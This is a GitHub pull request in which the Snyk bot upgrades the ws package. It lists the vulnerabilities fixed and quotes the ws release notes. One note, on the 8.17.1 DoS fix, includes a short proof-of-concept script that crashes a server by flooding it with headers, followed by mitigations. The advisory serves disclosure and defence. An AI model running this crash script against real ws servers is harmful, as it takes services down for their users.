Skip to content

Conversation

@X-oss-byte
Copy link
Owner

snyk-top-banner

Snyk has created this PR to upgrade ws from 8.2.3 to 8.18.3.

ℹ️ Keep your dependencies up-to-date. This makes it easier to fix existing vulnerabilities and to more quickly identify and fix newly disclosed vulnerabilities when they affect your project.


  • The recommended version is 27 versions ahead of your current version.

  • The recommended version was released 2 months ago.

Issues fixed by the recommended upgrade:

Issue Score Exploit Maturity
medium severity Insufficient Visual Distinction of Homoglyphs Presented to User
SNYK-JS-BASEX-10118294
559 No Known Exploit
low severity Regular Expression Denial of Service (ReDoS)
SNYK-JS-BRACEEXPANSION-9789073
559 Proof of Concept
critical severity Function Call With Incorrect Argument Type
SNYK-JS-CIPHERBASE-12084814
559 Proof of Concept
critical severity Improper Verification of Cryptographic Signature
SNYK-JS-ELLIPTIC-7577916
559 Proof of Concept
critical severity Improper Verification of Cryptographic Signature
SNYK-JS-ELLIPTIC-7577917
559 Proof of Concept
critical severity Improper Verification of Cryptographic Signature
SNYK-JS-ELLIPTIC-7577918
559 Proof of Concept
high severity Improper Verification of Cryptographic Signature
SNYK-JS-ELLIPTIC-8172694
559 No Known Exploit
critical severity Information Exposure
SNYK-JS-ELLIPTIC-8720086
559 Proof of Concept
medium severity Missing Release of Resource after Effective Lifetime
SNYK-JS-INFLIGHT-6095116
559 Proof of Concept
medium severity Regular Expression Denial of Service (ReDoS)
SNYK-JS-MINIMATCH-3050818
559 No Known Exploit
critical severity Generation of Predictable Numbers or Identifiers
SNYK-JS-PBKDF2-10495496
559 Proof of Concept
critical severity Generation of Predictable Numbers or Identifiers
SNYK-JS-PBKDF2-10495498
559 No Known Exploit
critical severity Function Call With Incorrect Argument Type
SNYK-JS-SHAJS-12089400
559 Proof of Concept
high severity Denial of Service (DoS)
SNYK-JS-WS-7266574
559 Proof of Concept
high severity Denial of Service (DoS)
SNYK-JS-WS-7266574
559 Proof of Concept
medium severity Symlink Attack
SNYK-JS-TMP-11501554
559 Proof of Concept
Release notes
Package name: ws
  • 8.18.3 - 2025-06-28

    Bug fixes

    • Fixed a spec violation where the Sec-WebSocket-Version header was not added
      to the HTTP response if the client requested version was either invalid or
      unacceptable (33f5dba).
  • 8.18.2 - 2025-05-03

    Bug fixes

    • Fixed an issue that, during message decompression when the maximum size was
      exceeded, led to the emission of an inaccurate error and closure of the
      connection with an improper close code (#2285).
  • 8.18.1 - 2025-02-21

    Bug fixes

    • The length of the UNIX domain socket paths in the tests has been shortened to
      make them work when run via CITGM (021f7b8).
  • 8.18.0 - 2024-07-03

    Features

    • Added support for Blob (#2229).
  • 8.17.1 - 2024-06-16

    Bug fixes

    • Fixed a DoS vulnerability (#2231).

    A request with a number of headers exceeding theserver.maxHeadersCount
    threshold could be used to crash a ws server.

    const http = require('http');
    const WebSocket = require('ws');

    const wss = new WebSocket.Server({ port: 0 }, function () {
    const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
    const headers = {};
    let count = 0;

    for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    <span class="pl-k">for</span> <span class="pl-kos">(</span><span class="pl-k">let</span> <span class="pl-s1">j</span> <span class="pl-c1">=</span> <span class="pl-c1">0</span><span class="pl-kos">;</span> <span class="pl-s1">j</span> <span class="pl-c1">&lt;</span> <span class="pl-s1">chars</span><span class="pl-kos">.</span><span class="pl-c1">length</span><span class="pl-kos">;</span> <span class="pl-s1">j</span><span class="pl-c1">++</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
      <span class="pl-k">const</span> <span class="pl-s1">key</span> <span class="pl-c1">=</span> <span class="pl-s1">chars</span><span class="pl-kos">[</span><span class="pl-s1">i</span><span class="pl-kos">]</span> <span class="pl-c1">+</span> <span class="pl-s1">chars</span><span class="pl-kos">[</span><span class="pl-s1">j</span><span class="pl-kos">]</span><span class="pl-kos">;</span>
      <span class="pl-s1">headers</span><span class="pl-kos">[</span><span class="pl-s1">key</span><span class="pl-kos">]</span> <span class="pl-c1">=</span> <span class="pl-s">'x'</span><span class="pl-kos">;</span>
    
      <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-c1">++</span><span class="pl-s1">count</span> <span class="pl-c1">===</span> <span class="pl-c1">2000</span><span class="pl-kos">)</span> <span class="pl-k">break</span><span class="pl-kos">;</span>
    <span class="pl-kos">}</span>
    

    }

    headers.Connection = 'Upgrade';
    headers.Upgrade = 'websocket';
    headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
    headers['Sec-WebSocket-Version'] = '13';

    const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
    });

    request.end();
    });

    The vulnerability was reported by Ryan LaPointe in #2230.

    In vulnerable versions of ws, the issue can be mitigated in the following ways:

    1. Reduce the maximum allowed length of the request headers using the
      --max-http-header-size=size and/or the maxHeaderSize options so
      that no more headers than the server.maxHeadersCount limit can be sent.
    2. Set server.maxHeadersCount to 0 so that no limit is applied.
  • 8.17.0 - 2024-04-28

    Features

    • The WebSocket constructor now accepts the createConnection option (#2219).

    Other notable changes

    • The default value of the allowSynchronousEvents option has been changed to
      true (#2221).

    This is a breaking change in a patch release. The assumption is that the option
    is not widely used.

  • 8.16.0 - 2023-12-26

    Features

    • Added the autoPong option (01ba54e).
  • 8.15.1 - 2023-12-12
  • 8.15.0 - 2023-12-09
  • 8.14.2 - 2023-09-19
  • 8.14.1 - 2023-09-08
  • 8.14.0 - 2023-09-06
  • 8.13.0 - 2023-03-10
  • 8.12.1 - 2023-02-13
  • 8.12.0 - 2023-01-07
  • 8.11.0 - 2022-11-06
  • 8.10.0 - 2022-10-24
  • 8.9.0 - 2022-09-22
  • 8.8.1 - 2022-07-15
  • 8.8.0 - 2022-06-09
  • 8.7.0 - 2022-05-26
  • 8.6.0 - 2022-05-01
  • 8.5.0 - 2022-02-07
  • 8.4.2 - 2022-01-14
  • 8.4.1 - 2022-01-13
  • 8.4.0 - 2021-12-20
  • 8.3.0 - 2021-11-23
  • 8.2.3 - 2021-10-02
from ws GitHub release notes

Important

  • Check the changes in this PR to ensure they won't cause issues with your project.
  • This PR was automatically created by Snyk using the credentials of a real user.
  • Max score is 1000. Note that the real score may have changed since the PR was raised.

Note: You are seeing this because you or someone else with access to this repository has authorized Snyk to open upgrade PRs.

For more information:

Snyk has created this PR to upgrade ws from 8.2.3 to 8.18.3.

See this package in npm:
ws

See this project in Snyk:
https://app.snyk.io/org/sammytezzy/project/7f124e9f-9e7a-4ecd-92b5-9c3fc12e6308?utm_source=github&utm_medium=referral&page=upgrade-pr
@bolt-new-by-stackblitz
Copy link

Review PR in StackBlitz Codeflow Run & review this pull request in StackBlitz Codeflow.

@changeset-bot
Copy link

changeset-bot bot commented Sep 3, 2025

⚠️ No Changeset found

Latest commit: cdb271d

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants